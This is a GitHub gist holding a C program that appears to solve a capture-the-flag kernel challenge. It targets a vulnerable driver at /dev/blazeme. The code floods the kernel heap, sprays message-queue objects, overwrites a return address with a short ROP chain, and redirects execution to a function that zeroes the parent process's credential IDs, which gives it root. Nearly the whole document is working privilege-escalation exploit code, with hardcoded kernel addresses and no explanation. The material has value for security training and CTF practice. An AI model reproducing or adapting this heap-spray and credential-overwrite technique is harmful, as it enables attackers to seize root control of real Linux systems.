Created
March 28, 2021 07:56
-
-
Save 0xm0/e7eff9b25a4588e3d58e4b598ee7bd06 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <sys/ipc.h> | |
#include <sys/mman.h> | |
#include <sys/msg.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
typedef void *__attribute__((regparm(3))) (*_find_vpid)(int); | |
typedef void *__attribute__((regparm(3))) (*_pid_task)(void *, int); | |
typedef void *__attribute__((regparm(3))) (*_get_task_cred)(void *); | |
_find_vpid find_vpid; | |
_pid_task pid_task; | |
_get_task_cred get_task_cred; | |
#define FIND_VPID (0xFFFFFFFF8105FD10) | |
#define PID_TASK (0xFFFFFFFF8105FAB0) | |
#define GET_TASK_CRED (0xFFFFFFFF81063B20) | |
int parent_pid; | |
void setuid0(void) { | |
void *parent = find_vpid(parent_pid); | |
void *task = pid_task(parent, 0); | |
uint32_t *cred = get_task_cred(task); | |
cred[1] = 0; | |
cred[3] = 0; | |
cred[5] = 0; | |
cred[7] = 0; | |
return; | |
} | |
int main(int argc, char **argv) { | |
char buf[65] = {0}; | |
if (argc != 2) { | |
puts("usage: ./solve $$"); | |
return -1; | |
} | |
parent_pid = atoi(argv[1]); | |
find_vpid = FIND_VPID; | |
pid_task = PID_TASK; | |
get_task_cred = GET_TASK_CRED; | |
int fd = open("/dev/blazeme", O_RDWR); | |
// Eat up freelist | |
for (int i = 0; i < 4000; i++) { | |
write(fd, | |
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0", | |
64); | |
} | |
// IPC setup | |
int msqid; | |
struct { | |
long mtype; | |
char mtext[64 - 0x30]; | |
} msg = {1, {0}}; | |
write(fd, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", | |
64); | |
msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); | |
printf("%d\n", msgsnd(msqid, &msg, sizeof(msg.mtext), 0)); | |
printf("%d\n", msgsnd(msqid, &msg, sizeof(msg.mtext), 0)); | |
printf("%d\n", msgsnd(msqid, &msg, sizeof(msg.mtext), 0)); | |
char spray_buf[64]; | |
spray_buf[0] = 'A'; | |
spray_buf[1] = 'A'; | |
for (int i = 0; i < 6; i++) { | |
spray_buf[7 * 8 + 2 + i] = 'A'; | |
} | |
for (int i = 0; i < 7; i++) { | |
((uint64_t *)(spray_buf + 2))[i] = 0x4141414141414141; // ret | |
} | |
for (int i = 0; i < 6; i++) { | |
write(fd, spray_buf, 64); | |
} | |
((uint64_t *)(spray_buf + 2))[1] = 0x4242424242424242; // rbp | |
((uint64_t *)(spray_buf + 2))[2] = 0xffffffff813bd3f1; // ret | |
((uint64_t *)(spray_buf + 2))[3] = 0xffffffff813bd3f1; // ret | |
((uint64_t *)(spray_buf + 2))[4] = setuid0; // win | |
write(fd, spray_buf, 64); | |
printf("%d\n", msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0)); | |
printf("%d\n", msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0)); | |
printf("%d\n", msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0)); | |
for (int i = 0; i < 2; i++) { | |
write(fd, | |
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", | |
64); | |
} | |
close(fd); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment